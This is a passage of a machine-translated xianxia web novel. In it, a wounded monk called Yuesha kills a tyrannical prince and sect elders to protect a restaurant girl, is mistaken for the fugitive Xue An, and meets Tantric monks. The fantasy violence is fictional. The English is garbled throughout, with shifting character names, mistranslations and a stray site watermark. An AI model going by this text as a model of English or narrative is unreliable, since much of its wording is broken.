    The man patted his palms lightly, and said lightly: "So to deal with this kind of person, you can do nothing. There is only one way to do it, and that is to eliminate the roots!"


    "Girl, do you understand?"


    During the whole process, the man didn''t look at the dead body on the ground, as if it was not a dignified three prince who died, but a trivial ant.


    But he can be so calm, others can''t.


    After a while of silence, the entire restaurant boiled completely.


    "The third prince is dead, my God! This is over, we all have to be buried with us!" Someone cried bitterly.


    "Run!" Someone ran away.


    Many people still looked at the blood on the ground with dull eyes, as if they didn''t believe it was true.

 Chapter 1953： Handsome? Learned from others!

    As for the pawns and officers who followed Zhao Jingsheng, after a moment, they rushed towards the man.


    The man didn''t even lift his eyelids and waved his hand casually.


    Numerous golden lights exploded from his hands and directly penetrated these people who rushed.


    Puff puff!


    The dead bodies fell to the ground one after another.


    But a few survivors stood tremblingly on the spot, their faces pale.


    "Hey, what are you still doing in a daze? He won''t kill you, or leave quickly?" Yingluo said suddenly.


    These people just woke up like a dream, and then they crawled and fled outside.


    Not only them, but the rest of the diners and guys flee in a hurry.


    Soon, the entire hotel lobby was empty.


    Only the corpses all over the floor, and the shopkeeper of the restaurant lying unconscious on the ground.


    The running girl looked at the man blankly, suddenly remembering something, and said anxiously: "Go! Get out of here quickly, don''t stay for a moment!"


    "Go? Why are we going?"


    The girl in the hall became more anxious, "As soon as the third prince dies, Zhao Guo will soon notice that you will not be able to go if you want to go! So hurry up and leave here, and go as far as possible!"


    "Then we are leaving, how about you?"


    "Don''t worry about me, I naturally have a way!"


    "What way? Will you commit suicide as soon as we leave?" the man said suddenly.


    The running girl wanted to explain, but under the man''s dazzling gaze, she finally fell silent.


    At this moment, the man smiled slightly, then shook his head, "I will not go, because I am leaving now, which is equivalent to driving you to a desperate situation. Besides, since I have taken action, I have to take care of this. in the end!"


    "That''s right, sister, don''t worry, the uncle is very powerful, and you will surely be able to kill all these bad guys!"


    "But... that''s a country! Especially now the third prince still has the background of the Qingming Immortal Sect! You two are purely to die!" The running girl was almost crying.


    During the whole process, she never thought about her own safety, it was all about how the man who was considering how to get out.


    But the man didn''t care at all, and walked straight to the unconscious Fanzhuang shopkeeper, leaned over and printed a golden light on his forehead.


    After a while, the restaurant shopkeeper snorted, then woke up and turned around, got up and came to his daughter''s side.


    The man smiled faintly, "The food is cold, I hope you warm it up, and... the plain noodles are delicious, can the girl make me another one?"


    The girl in the hall looked at the man silently for a moment, and finally lowered her head, "Hmm!"


    After that, she turned and walked back.


    Her father, the shopkeeper of the restaurant, had already seen the dead bodies all over the floor at this time. He was shocked. He immediately understood what had happened, gave a deep salute to the man, and then turned and left.


    After the father and daughter left, Yingluo leaned over to the man with great excitement, "Hey, uncle, you were so handsome just now! Especially when you say that you don��t want to make a move, when you want to cut the roots, the indifferent tone is simply So handsome!"


    "Are you handsome?" The man smiled slightly.


    "Hmm!" Yingluo nodded heavily.


    "Learned from others!"


    "Learned from others?" Yingluo was taken aback, and then looked at the man with stunned expression, "With whom?"


    The man smiled faintly, "A guy who always likes to wear white clothes."


    Speaking of this, a look of nostalgia appeared in the man''s eyes, and he whispered softly, "I don''t know how that guy is doing now!"


    "Is he amazing?" Yingluo was obviously interested in the person in the man''s mouth.


    "Well! Very powerful, to be exact, he should be regarded as the most powerful person in the heavens!"


    "The most powerful person in the heavens?" Yingluo''s eyes widened. "Are you better than you, uncle?"


    The man smiled and nodded, "Of course it''s better than me."


    A look of shock appeared on Little Lori''s face.


    She has witnessed the strength of a man with her own eyes. In her eyes, no one is stronger than this man.


    But never thought that someone was even more powerful than him.


    "Where is he now?"


    The man shook his head, "I don''t know, I haven''t seen him for a long time! But it seems that many people are looking for him!"


    Just as the two of them were talking, the patron girl walked into the lobby with a tray.


    In addition to the newly cooked dishes, there is also a bowl of steaming plain noodles on the tray.


    The running girl carefully placed these things on the table.


    The man smiled slightly, "Thank you!"


    With that said, he picked up his chopsticks and took a bite of noodles.


    "Is it delicious?" The patron asked expectantly.


    The man nodded, "Very good!"


    Upon hearing these three words, the girl''s eyes curled with a smile, and her face lit up.


    But soon she lowered her head again and whispered: "My name is Ning Zhu."


    "A nice name!" The man said, and continued to eat noodles.


    Ning Zhu gritted his teeth and finally summoned the courage to ask, "What about you, my lord?"


    "I?"


    The man chuckled, "I have forgotten my name!"


    Ning Zhu''s face showed a gloomy look, and finally gave a low hmm, then turned and left.


    After she left, Yingluo approached with a smile, and whispered: "Uncle, it seems that this sister is very interesting to you? Why don''t you tell her your name?"


    The man swallowed a bite of noodles, and then said lightly: "Instead of giving people unrealistic fantasy, it is better to refuse it at the beginning!"


    A pensive color appeared on Yingluo''s small face, and she nodded after a long time, "It sounds reasonable. Is this what the person told you?"


    The man smiled and shook his head, "Of course not, and on the contrary, this is a lesson I learned from that person."


    "Now I have one last question." Yingluo said suddenly and seriously.


    "What the **** is your name?"


    The man was silent, and finally lowered his head and said softly, "I''ve forgotten the name, if you want to, call me... Yuesha!"


    "Yuesha, what a strange name!" Yingluo said, suddenly leaning to the man''s ear, and said with a grin.


    "That sister just asked your name, but you didn''t tell her, but now you tell me, does this mean... you like me?"


    Yue Sha''s face suddenly turned from white to red, but soon returned to normal, "You talk too much, eat!"


    With that said, Yuecha stopped speaking, and concentrated on dealing with the face in front of him Yingluo narrowed her mouth and muttered softly: "Huh! It must be the case, uncle, your thoughts are really dangerous. Very abnormal, but..."


    Yingluo glanced at Yuesha''s handsome face, which was almost enchanting, "For the sake of your face, I will forgive you temporarily!"


    Next, the little loli started to say something ridiculous.


    Yue Sha ignored her and concentrated on eating noodles.


    The corpses on the ground are getting colder, and the blood has solidified over time.


    In the backyard, Ning Zhu silently prayed, hoping that the chasing soldiers would come later.


    Her father was grinding a kitchen knife in silence.


    At this moment, I saw thousands of floating iron knights suddenly appeared in the distant sky, covering the sky like a black cloud and rushing straight in.


    Before rushing to the front, a general on the leading tall horse screamed: "Who would dare to kill my Zhao Kingdom?"

 Chapter 1954： Floating Iron Rider Qing Mingxianzong

    The sound is like thunder, shaking the town.


    All the residents looked terrified.


    Someone even murmured desperately: "It''s Tiefutu...God, this is over!"


    No wonder they are so desperate.


    It''s really because this Iron Buddha is so famous that it is the most elite cavalry regiment in the Zhao Kingdom, not one of them.


    Even once they are in line, even the practitioner has to retreat and dare not lightly grab the front.


    This also shows its prosperous power.


    At this moment, when everyone saw that Tiefutu was here, they couldn''t help feeling a deep despair.


    Ning Zhu''s face was almost transparent.


    at the same time.


    This iron buddha has flown over the town, and the leading general is full of murderous expression.


    "Who killed me, the third prince of Zhao Guo, and didn''t show up quickly?"


    But despite his loud voice, there was silence in response to him.


    In the restaurant, Yuecha slowly ate the bowl of plain noodles in front of him, and even the speed of chewing did not change at all.


    The general''s complexion sank, "Very good, I didn''t dare to show up, then I will let the whole town be buried together today!"


    As he said, he raised his hand and pointed down, and shouted grimly: "Take the city, don''t leave the chickens and dogs!"


    The military orders are like a mountain, and the iron floating tutu moves all over the sky, swooping towards the town.


    Many people couldn''t help screaming desperately when they saw this scene.


    But at this moment, a bright golden light suddenly burst out from the restaurant, and then spread like a bubble.


    boom!


    The golden light seemed weak, but in fact it was like a copper wall and iron wall, sending all the iron statues flying out together.


    Then I heard a soft sigh, "Why do you have to do it while I am eating noodles? Is it so difficult for me to eat a bowl of noodles quietly?"


    Following the voice, Yuesha appeared above the small town, facing the Iron Buddha Corps on the other side.


    The general''s eyes condensed, "Buddha cultivation?"


    Yue Sha chuckled and shook his head, "It''s long gone."


    As he said, his gaze swept across these floating iron knights, and said lightly: "Are you all here for the three princes?"


    The general sank his face and said, "Yes! You killed the royal family of the Zhao Kingdom, and executed Ling Chi according to Zhao''s law. If you surrender now, I can give you a happy one, if not..."


    The general pointed to the town, "Everyone here will be buried for you!"


    Everyone is shaking.


    Yue Sha chuckled softly, "Oh? It sounds amazing, but I have a question."


    "Are you Zhao''s laws only aimed at ordinary people, and the royal family members don''t care what they do?"


    The general was asked for a moment.


    Yue Sha said coldly at this time: "You molested the good girl in the street, beat the old man, and even humiliated the woman in public. This is all committed by your third prince. What crime should this be?"


    In the restaurant, Xiao Yingluo high-five and sighed, "Good point!"


    Ning Zhu watched quietly with tears in his eyes.


    At this time, the general was irritated, "I don''t care what the third prince did, but if you kill him, then you have to die!"


    "Array!"


    The sky full of Tiefu Tu moved with the sound, forming a killing array in an instant, and then the rumbling Chaoyue Cha rolled over.


    Everyone was shocked.


    Yuesha looked as usual, and slowly lowered his eyes, "I think I am the seal of the Dharma, so that the demon of the heavens can''t get it!"


    Words fall.


    A brilliant golden light magic seal appeared in front of Yuesha, and immediately after Yuesha pointed out, it hit the magic seal.


    boom!


    Fayin turned into a sky full of golden light, like rain and fog, toward these iron Buddha statues.


    Hey.


    Accompanied by a sour sound, where the golden light passed, the equipment on these floating iron knights quickly melted away like ice and snow.


    These floating iron knights themselves are ordinary people, at least they have practiced some martial arts, and they can travel from the air only by this equipment.


    So when the equipment was damaged, these people screamed and fell from the air.


    But when they fell to the ground, they were shocked to find that they were actually unharmed, as if they were being supported by some kind of soft power.


    Nevertheless, they have also lost their combat effectiveness.


    At this moment, only this general was left in the sky, because the suit on his body was obviously much better than the floating iron cavalry, and he actually held up this wave of golden light attack.


    Nevertheless, his face also showed infinite horror.


    The bald monk in front of him disintegrated all his combat power with just one blow.


    Now that he is the only one left, how to fight this battle?


    So he was pale, his lips trembled, and he didn''t know what to say.


    The town residents couldn''t help but breathe a sigh of relief.


    Xiao Yingluo was even more proud of her chest, and said triumphantly: "How about it, my uncle is great!"


    But she didn''t even see the deep exhaustion in Yuecha''s eyes after performing this trick.


    Despite this, Yuesha still said lightly: "How about it, do you still fight?"


    The general subconsciously stepped back a few steps, whistling and dare not say anything.


    But at this moment, a very evil and arrogant voice suddenly came from a distance.


    "Who is it? Actually dare to kill my disciple of the Azure Underworld Immortal Sect?"


    Following the voice, but seeing dozens of Guanghua rampages, the leader was an old man in Tsing Yi.


    The town residents who had just breathed a sigh of relief saw this scene, and their heart fell to the bottom in an instant.


    Because this old man is undoubtedly a member of the Azure Underworld Immortal Sect.


    To these residents, the people of the Qingming Xianzong are equivalent to gods.


    Especially this old man''s body is full of blue energy, obviously even more impressive.


    at the same time.


    As if seeing the life-saving straw, the general yelled loudly: "Master, help me! This is the third highness that this son killed!"


    The old man nodded arrogantly, then looked at Yuecha, and laughed coldly.


    "Buddha cultivation? This is the site of my Azure Underworld Immortal Sect. When is it your turn for the bald donkeys to come here to presume?"


    Yuecha raised her eyebrows slightlyWho are you? "


    "Me? Haha, I am the chief elder of the Qingming Immortal Sect, Zhao Jingsheng who was killed by you is my new apprentice!"


    Grand Elder Punishment!


    This identity has changed many people.


    Yue Sha sneered slightly, "Apprentice? He is so arrogant and domineering, you as a master can''t get rid of your relationship! With your state of mind, you are ashamed to call yourself a practitioner?"


    "Fart, how come the old man is not up to you to comment!" The old man in Tsing Yi became angry, "Since you killed my disciple, then I will thwart you today and avenge my disciple!"


    As he said, the old man in Tsing Yi suddenly slapped his palms.


    But seeing the two breaths of black and white fused together like entangled chains, forming a blue-gray airflow, sweeping towards the moon.


    Wherever he went, the world changed color, the sun and the moon were dark.


    It is the Qingming Immortal Sect''s Zhenshan unique learning, Qingming has absolutely no energy.

 Chapter 1955： The borrowed sword intent!

    The leaked power shook this general out of the distance.


    As for the residents of the small town, they were crushed to their knees, not even daring to lift their heads.


    The old man in Tsing Yi had a grinning smile on his face, as if he had already seen the scene where Yue Sha was slapped to death by his palm.


    This Azure Underworld Immortal Sect is the top sect guarding this planet, although it can''t compare to those Void Great Sects, Xinghai Shenzong, but it is not bad.


    This old man in Tsing Yi, as the elder in charge of punishment, also possesses the cultivation of Da Luo.


    Even if this strength is placed in the heavens, it is considered a strong first-class.


    So he could naturally see that Yue Sha seemed to have suffered a serious injury, and even made him look tired.


    That''s why he was sure of this palm, and Yue Sha was absolutely unable to resist.


    But at this moment, I saw the moon with palms together, and whispered in a soft voice: "The impermanence of all forms is the law of birth and death, the birth and death of oneself, and the death of happiness!"


    As soon as the Buddhist scriptures came out, a golden wheel loomed behind his head, and then the brilliance exploded, directly resisting the blasting Qing Ming dead energy.


    Boom!


    After a dull loud noise.


    Qing Ming Jueqi was stagnated in the air and could not be stored in it.


    But the golden light on Yuesha''s body was as firm as the earth, unshakable.


    The old man in Tsing Yi was shaken back for a few steps, and only after adjusting his breath for a long time did he calm the boiling blood.


    Then he roared, "Dead bald donkey, you are seriously injured, I see how long you can last!"


    With that said, the old man in Tsing Yi blasted out again and again, as if he did not need money, the Qing Ming bombarded the golden light of the moon.


    The muffled sound of dong dong dong came and went one after another, which made people feel shocked.


    Everyone looked at this scene pale.


    Especially Ning Zhu, she stared blankly at Yuesha facing the powerful enemy alone in the sky, her heart gradually tightened into a ball.


    Xiao Yingluo is not as relaxed as she used to be, and her face is a little pale, but she still smiles strongly: "Don''t worry, uncle will be fine, he is not injured!"


    But as soon as the voice fell, just hearing a click, a crack suddenly appeared on the golden wheel behind Yuesha''s head, and then the brilliance on his body dimmed a lot.


    Seeing this, the old man in Tsing Yi couldn''t help laughing wildly.


    "Well, I can''t hold it anymore! Today I will let you pay for my disciple!"


    With that, his offensive became more and more crazy.


    The golden light on Yuesha''s body gradually appeared to collapse, and the golden wheel behind his head was constantly shattering.


    Ning Zhu''s tears burst into his eyes.


    Xiao Yingluo was even more frightened, and suddenly shouted, "Uncle, don''t have anything to do with you, you said you want to take me home, you can''t break your promise!"


    Yue Sha didn''t look back, only a faint smile raised at the corner of his mouth, "Of course he won''t break his promise!"


    After all, Yuesha took a step forward.


    At this moment, the golden light on his body was completely shattered and turned into powder.


    The golden wheel behind his head was also broken together.


    The old man in Tsing Yi looked ecstatic.


    "Die me!"


    Having said that, he urged his whole body cultivation base and issued a strong blow.


    But just when he thought it was a ten-and-one blow, Yuecha suddenly raised his head, and a ray of light suddenly appeared in his tired eyes.


    Immediately afterwards, a dazzling sword light appeared between his eyebrows.


    When this sword is out, it will overwhelm the world.


    The Qing Ming Jue Qi that had just condensed from the hands of the old man in Tsing Yi dissipated directly, and he felt the strong sword intent all over his body, and then screamed.


    "This is impossible. Are you not a Buddha? How can you have such a tyrannical sword intent?"


    Yuecha said indifferently, "Why is it impossible? I borrowed this sword intent to know!"


    When the words fell, I saw this sword light suddenly cut out.


    The old man in Tsing Yi screamed in despair, "No!"


    Then turned around to escape.


    But everything is too late.


    With his speed, how could it be faster than Jianguang.


    I saw a brilliance that slashed the sky and the earth across the sky.


    Everything is cut off wherever you go.


    In an instant, people felt as if there was a flash in the sky, and when they opened their eyes, everything had disappeared.


    Only the old man in Tsing Yi and his subordinates stood in the air, motionless, like wood-carved clay sculptures.


    But in the next instant, a spectacle appeared in front of everyone.


    Starting from this old man in Tsing Yi, a red line suddenly appeared on everyone''s waist. Then the red line expanded rapidly, and then the upper body soared into the sky, blood gushing out like spring water, dyeing the entire sky red.


    Then the dead corpses fell one after another, leaving behind the empty sky.


    Everyone looked silly.


    Xiao Yingluo flushed with excitement, and suddenly applauded.


    "Uncle, you are amazing!"


    Yuecha smiled, but the exhaustion in his eyes became thicker, and then fell back to the ground.


    Xiao Yingluo rushed over immediately and said happily: "Uncle, the sword you just made was so handsome, I didn''t know that you still use the sword! Teach me?"


    Yue Sha barely covered the exhaustion in his eyes, then shook his head and chuckled: "I can''t teach you, because I said that I borrowed this sword from someone else. If you want to learn, you''d better find him!"


    "Who is that person?" Xiao Yingluo said curiously.


    Yue Sha did not speak, but looked at Ning Zhu aside with a solemn expression.


    "Miss Ning, the sword just exposed my whereabouts, and it can be regarded as attracting their attention, so you are temporarily safe, but for the sake of safety, I suggest you move out of this town as soon as possible. Don''t stay!"


    Ning Zhu was shocked, and said with a look of astonishment: "Big...sir, are you leaving?"


    Yue Sha nodded, "Yes, if I don''t leave, then you will be all over. Now that I leave, I can just draw attention to me and you can escape safely!"


    Ning Zhu''s tears have never stopped like a flood that bursts a bank.


    "But...but..."


    Yue Sha didn''t give her more time, but put her palms together: "May the girl cherish it, and you can meet her beloved in the future and be safe for life!"


    After that, Yue Sha said to Xiao Yingluo on the side: "Let''s go!"


    After all, he took a step and walked out.


    "Good! Goodbye, sister!" Xiao Yingluo picked up the cloak on the table and quickly followed.


    Ning Zhu wanted to say something but couldn''t say it I could only watch Yuecha leave from behind, his face was full of infinite sadness.


    "I have to meet my beloved... but you are my beloved!"


    The shopkeeper of the restaurant who had been standing by the side and had not spoken suddenly sighed slightly.


    "Zhu''er, don''t look at it. The identity of this adult is obviously extraordinary. For ordinary people like us, don''t go into wishful thinking. Let''s go. Don''t let the adults'' painstaking efforts be disappointed!


    With that, he dragged Ning Zhu away.


    Ning Zhu finally glanced at the back that disappeared in the distance, and his heart was filled with infinite desolation.


    The residents of the small town naturally understood that this place could not stay for long, so they began to evacuate.


    When they had just evacuated from the small town, they saw several Guanghua suddenly rushing to the sky above the small town and waited for a closer look.


    The leader suddenly showed ecstasy, "Sure enough, it is the red lotus sword intent. It should be the reward of the big sects, but has been searching for Xue An!"

 Chapter 1956： Aoki deduced, Li Lingzhi fainted

    The person who speaks has a childlike face, and his eyes are blue and strong, and he has an image of a master with a fairy style.


    If there are other people present, after seeing this old man, he will definitely scream in exclamation, because this old man is the Sect Master Jin Yuebin of Qingming Immortal Sect.


    And behind him are the chief elders of the Qingming Immortal Sect.


    I saw Jin Yuebin, the master of the Qingming Immortal Sect, surrounded by Qingqi, and then raised his hand to draw a large formation in the air.


    In the formation, countless mysterious auras flowed slowly, deducing birth and death.


    It is the unique Qing Mu deduction of the Qingming Immortal Sect.


    This Aoki Deduction Great Formation is a unique secret method specially used to find traces. It can be traced through the breath left by people, and the effect is very miraculous.


    now.


    This Jin Yuebin tried to find the whereabouts of "Xue An" through the trace of red lotus sword intent remaining on the scene.


    at the same time.


    One of the elders said with a solemn expression: "Master Sect Master, if it is determined that it is Xue An, do you want to inform Xuan Ming Ling and Human Emperor Hall of this news first?"


    Jin Yuebin shook his head, "This piece of evidence alone is not enough to win the reward. You must have Xue An''s exact whereabouts."


    The faces of the elders were hesitant, and the elder who had spoken before continued.


    "Then what shall we do now? How about revealing the news to the sects of a few nearby planets, and we will join forces to hunt down Xue An?"


    "Idiot!" Jin Yuebin scolded sharply when he heard this, his eyebrows raised.


    "It''s really a group of short-sighted, timid guys, do you frighten you by hearing the name Xue An?"


    All the elders looked embarrassed.


    Jin Yuebin snorted coldly, and then went on to say: "Now we are presented with a golden opportunity, but you have to share it with others. Isn''t this stupid?"


    "You mean...we want to hunt Xue An independently?" an elder said arduously.


    Jin Yuebin nodded, "Yes!"


    The elders all looked horrified upon hearing the words, "This...this..."


    "Okay, I know what you are thinking, don''t worry! I am naturally not a hot-headed decision making random decisions."


    Speaking of this, a mysterious smile appeared on Jin Yuebin''s face.


    "When I was detecting this sword intent just now, I found that it was far less powerful than in the rumors. What does this mean?"


    "It means that Xue An is not as powerful as it is rumored, but this should be impossible, because if he is not powerful, how can he practice Qianzong Tianjiao?"


    "So now there is only one possibility, and that is that Xue An must be so weak after suffering a serious injury."


    Speaking of this, the excitement in Jin Yuebin''s eyes is almost overflowing.


    "The best thing our Qingming Immortal Sect should do now is to take advantage of the victory. If Xue An can be captured, not only will he be rewarded, but he will also be famous in the heavens. What is fame and fortune?"


    "This is called fame and fortune!"


    After listening to the suzerain''s explanation, the several elders all became excited, and there was even more fanaticism in their eyes.


    But the elder who spoke before showed hesitation, "What about the corpse of the tormenting elder? Is it just exposing the corpse wilderness?"


    "Let''s just let it go! Wait until you catch Xue An, and then come back to converge for him, it is considered that he has contributed to our Xianzong!"


    At this moment, the aura that was being deduced in this Fang Qingmu''s deduction formation suddenly came to a halt, and then it flourished, and thousands of rays of light burst into the sky, drawing a route in the air, and finally extending to the far away Skyrim.


    Jin Yuebin''s spirits lifted up, "Xue An''s trail has been found, everyone will follow me!"


    After all, he took the lead, turned into a streamer, and followed the trail of the Aoki Great Formation.


    The other elders glanced at each other, and then followed them.


    at the same time.


    In the void hundreds of thousands of miles away from this planet, Yue Sha carried this little Lolita Yingluo on his back and was hurried on his way.


    suddenly.


    Yuesha''s figure trembled, and then the speed of her journey slowed down.


    "Uncle, what''s the matter with you?" Yingluo felt the same, struggling to poke her head out of the rucksack specially made for her by Yuesha.


    Although the force field of the moon brake was blessed, the extreme low temperature and vacuum in the void still made this little Lori who had no cultivation ability felt very uncomfortable.


    "I''m okay, fast into the rucksack!" Yue Sha said softly.


    "I don''t! You must have something, or you won''t slow down suddenly!" Yingluo said very stubbornly, and her face was full of worry.


    She is a very smart girl. Although she is still young, she has experienced many sinister hearts and knows far more than her peers.


    For example, she had long seen that Yue Sha had injuries on her body, but she never mentioned it.


    Because she knew that if Yue Sha wanted to say something, she wouldn''t have to ask him, otherwise, she would have no results.


    But the situation was different at the moment, and the state of Yuesha was obviously very worrying, so Xiao Yingluo''s heart couldn''t help becoming a ball tightly.


    Yue Sha took a deep breath, once again reluctantly suppressed the fatigue in his eyes, then turned his head and smiled lightly: "I said I''m fine, you should believe it now!"


    Xiao Yingluo took a deep look at Yuecha, finally lowered her head and said in a low voice, "Your injury..."


    But before she finished speaking, the void in the distance suddenly began to surge.


    Yue Sha''s complexion changed abruptly, and then he shouted in a deep voice, "Quickly go into the rucksack, you must not come out without my order!"


    The voice is cold and hard, no longer the usual gentleness.


    Xiao Yingluo shook her whole body and took a peek at Yuecha, only to see that his face was full of solemnity, and she couldn''t help but plop but she didn''t cry, not even a word Saying that, he retracted into the rucksack very obediently.


    Because she knew very well that the only thing she could do now was to be obedient and try not to become a burden to Yuesha.


    When she just retracted her rucksack, Yuesha sealed her rucksack without hesitation, then bit her **** and raised her hand to draw a few Buddha marks on the rucksack.


    After finishing all this, Yuecha only breathed a sigh of relief, and then raised his head, looking calmly at the void in the distance.


    After just a few blinks, several radiances suddenly rushed out of the turbulent void in the distance, and then came to Yuecha.


    After standing still, it was Jin Yuebin and others from the Qingming Immortal Sect.


    When Jin Yuebin saw the cold moon standing in the void, he was taken aback for a moment, and then he laughed strangely.


    "Xue An, don''t think that you can shave your head and cross the sea, it''s useless! I''ve seen everything from the moment you shot, so you should just obediently grab it!"

 Chapter 1957： Fudo Mingzun deserves admiration

    "Xue An?" Yuecha was taken aback for a moment.


    Jin Yuebin couldn''t help but sneered again when he saw this, "What? The dignified Red Lotus Immortal Venerable actually dare not admit his identity?"


    Yue Sha suddenly understood, the consternation on [Ruyun Pavilion Novel Network]''s face disappeared, and then lightly said: "Yes, I am Xue An, how are you doing?"


    After Yuecha simply and neatly admitted his identity, including Jin Yuebin, everyone in the Azure Underworld Immortal Sect couldn''t help taking a half step back subconsciously.


    After all, Xue An''s reputation is so great that even ordinary Xianzong like them has heard of him more than once.


    Had it not been for this time Jin Yuebin had determined that "Xue An" was seriously injured, he would no longer be able to fight.


    Based on these people, it is estimated that they don''t even have the qualifications to see Xue An.


    Even so, many people''s hearts are still full of fear.


    Jin Yuebin''s complexion also changed, but even after Xuan returned to normal, he sneered.


    "Okay! You really deserve to be the top powerhouse of Zeng Zhuotian, bold! Now you surrender obediently, and then go back with me, I promise you won''t embarrass you, what do you think?"


    Yuecha smiled faintly, "It sounds like it gives me face, but what if I don''t?"


    Jin Yuebin snorted coldly, "Then don''t blame me for being impolite, the surname is Xue, I just said that I had expected everything from the moment you shot, and if I guessed correctly, you should now Already seriously injured, the lamp is almost exhausted!"


    Yue Sha still remained unmoved, and said lightly: "So what?"


    "Hehe, what? The surname is Xue, don''t fool me with this kind of cryptic attitude. To tell you the truth, you are now the hottest wanted criminal in the sky!"


    "Almost all major sects including the Royal Palace Xuanming Mausoleum have issued wanted orders for you, but you have been well hidden and have never been caught, but this time I deserved luck from the Qingming Immortal Sect. I found you, so you said...Can I let you go?"


    Yuesha was surprised as she listened.


    Although he has been walking among the heavens during this period of time, he has basically been practicing in the world and has very little contact with the spiritual world. Therefore, he has no idea what happened. He just faintly heard that many people are looking for Xue. Ann.


    So after hearing what Jin Yuebin said, he couldn''t help whispering softly.


    "Nan Wuwu Buddha, Xue An, what have you done on earth? Why are the entire heavens looking for you?"


    But his reaction fell in Jin Yuebin''s eyes but it was completely pretending to be stupid, which could not help making him angry.


    "Xue, if your strength is still there, I dare not do anything to you, but now you are seriously injured, but you still dare to kill my elder Qing Ming and play with me. I really know how to live and die. Today I will let you You know it''s great!"


    After that, Jin Yuebin''s eyes suddenly turned into two colors of black and white, and he waved his palms.


    boom!


    Two air currents, one black and one white, entangled like a giant dragon, and blasted towards the moon.


    It is the unreliable Qingming Qingming of the Qingming Immortal Sect.


    However, this trick from the hands of Jin Yuebin was much more powerful than the elder in charge of punishment.


    At least the breath is violent and mighty, I don''t know how many times.


    A dignified color appeared on the face of the moon, then folded palms together, and whispered in a soft voice: "If it doesn''t move, it''s like a must."


    boom!


    Around him, the immeasurable golden light appeared, and directly collided with Jin Yuebin''s move.


    Although there is no air in the void, there is no medium for sound transmission.


    But these few elders of the Azure Underworld Immortal Sect still felt that there was a loud noise coming, making their hearts tremble.


    And just when they were frightened.


    But seeing Jin Yuebin step back a few steps, his face suddenly became very ugly.


    Because he never thought that he could not even deal with a "Xue An" who had run out of oil.


    You must know that as the Sect Master of the Azure Underworld Immortal Sect, although he can''t compare to those Void Grand Masters and the chief chief of the Xinghai Divine Sect, the strength of the top Da Luo is not bad.


    With such strength, he could not shake "Xue An", and he was shocked back and forth again and again.


    Is there really such a big difference in strength?


    But at this moment, a painful look appeared on Yuecha''s face, and then cracks appeared in the golden light around him, which eventually broke apart.


    Jin Yuebin couldn''t help being overjoyed when he saw this. He laughed and said: "The surname is Xue, I didn''t expect your Dharma practice to be good, but unfortunately, you still can''t save your life today!"


    As he said, he rushed forward again, waving his ten fingers with both hands, and countless blue qi entangled the moon brake like silk threads.


    At this time, Yuesha put his palms together, still bowing his head and chanting scriptures.


    Greed appeared in Jin Yuebin''s eyes.


    In his eyes, where is this person? It clearly represents a treasure of endless power and prestige.


    As long as you control it, you have everything.


    But at the moment when these blue silks were about to touch Yuecha.


    Yue Sha suddenly raised her head, her eyes were as deep as the sea, and she gave a soft drink.


    "Nan Wusan Mando, Fazhel Luo Genghan!"


    The chanting speed of this mantra was extremely fast, and it was completed in an instant.


    Then I saw a statue of Buddha sitting on a rock seat with a seven bun on top, full of anger, with fierce fire on his back, holding a vajra pestle in his right hand, and a phantom Buddha in his left hand.


    It is the deity of Yuesha practice, Fudozun Bodhisattva, also known as Fudo Mingwang!


    When this statue of Buddha came out, all Jin Yuebin''s attacks were shattered by Qi Qi and turned into nothing.


    At the same time, when the supreme majesty appeared, Jin Yuebin was secretly shocked and backed back again and again.


    But soon, he calmed down, and Jie Jie said with a strange smile: "Red Lotus Immortal Venerable, when did you become a disciple of Buddha cultivation? Even this deity of practice has come out, but you are exhausted, even if you can The deity suppressed for a while, how long can you support it?"


    really.


    As soon as Jin Yuebin''s voice fell, the immovable King Ming began to shake there was a faintly collapsed image.


    Jin Yuebin let out a cold snort, and simply picked up his shoulders and waited quietly.


    But at this moment, two golden lights suddenly appeared in the distant void.


    Immediately after these two golden lights flew towards this side, at the same time, someone among them exclaimed.


    "Goodness is good, I don''t know where the great virtue is here, who can actually practice the deity of King Fudo Ming."


    In an instant, these two golden lights came to the court, and after the light dissipated, they were two beautiful monks wearing white clothes.


    The appearance of these two monks made Jin Yuebin one of them startled, but immediately his complexion became gloomy and he shouted coldly.


    "The Qingming Immortal Sect is working, and the idlers wait to get out of the way!"


    But the two monks didn''t even look at Jin Yuebin, but kept looking at Yuecha with joy and admiration.


    "Goodness is good, Fudo Bodhisattva is compassionate and firm, unshakable, and must be learned with great bravery and wisdom, deserve praise!"

 Chapter 1958： Fetal Tibet

    Facing the ignorance of these two monks, Jin Yuebin couldn''t help but furious, "Since you monks are lining up to find death, then I will fulfill you!"


    With that, Jin Yuebin waved his hands, and the huge Qing Ming Jueqi turned into a giant net, and slammed it towards the two monks.


    When one of the monks saw this, he sighed slightly, "Why should the donor be so upset? To know everything in the world, but just smile, so let the donor let go!"


    As he said, the monk smiled, then raised his palm to slowly press it down.


    boom!


    All Qing Ming''s unrelenting energy disappeared in an instant. Jin Yuebin only felt that an invisible huge force suddenly descended on his shoulders. Unprepared, he thumped and fell to his knees, even unable to lift his head.


    "Sect Master!" The elders of the Qingming Immortal Sect exclaimed in unison.


    At the same time, Yuesha, who had just dissipated the image of the deity, couldn''t help but his eyes condensed after seeing this scene, "The Tantric Handprint!"


    Another monk said with a smile upon hearing this: "Monk has good eyesight!"


    Yue Sha took a deep look at the monk, and said in a deep voice; "Are you from the tantra realm or the diamond realm?"


    "The little monk is from the fetal Tibetan realm, and his dharma name is Maitreya. This is my junior and brother incompetent!" The monk said with a smile.


    Even the moonshak, whose heart was as firm as iron, couldn''t help being shaken after hearing the monk''s self-report of his home. He lost his voice and said in shock: "Douli Gong Maitreya Bodhisattva?"


    "Don''t dare not, the little monk is just a Buddhist cultivator, what about the word Bodhisattva?" Maitreya said with a smile.


    But Yue Sha knew very well that this was just his self-humility.


    Because this monk who seems to be indifferent and smiles all the way is actually one of the best masters in Tantric Buddhism, and his Dharma cultivation is simply unfathomable.


    There are even rumors that he has proven the way and become an instant Buddha.


    Here is a brief introduction to this tantra.


    Since the creation of the core pure land by the Blessed One, the disciples of Buddha cultivation have spread out among the heavens and eventually become a major genre.


    Basically all the disciples of Buddha cultivation regard the World Honored as their leader.


    But Tantric Buddhism is different, because the roots of Tantric Buddhism are much longer than the Pure Land Buddhism founded by the Blessed One.


    In fact, even the Blessed One was once a disciple of Tantric Buddhism. It was not until after traversing the three thousand Buddhist scriptures and proving the Dao that is the Buddha that the Blessed One left Tantric Buddhism and came to the heavens to establish the Pure Land Buddha Kingdom.


    Therefore, Tantra has always held a very subtle attitude towards the Blessed One.


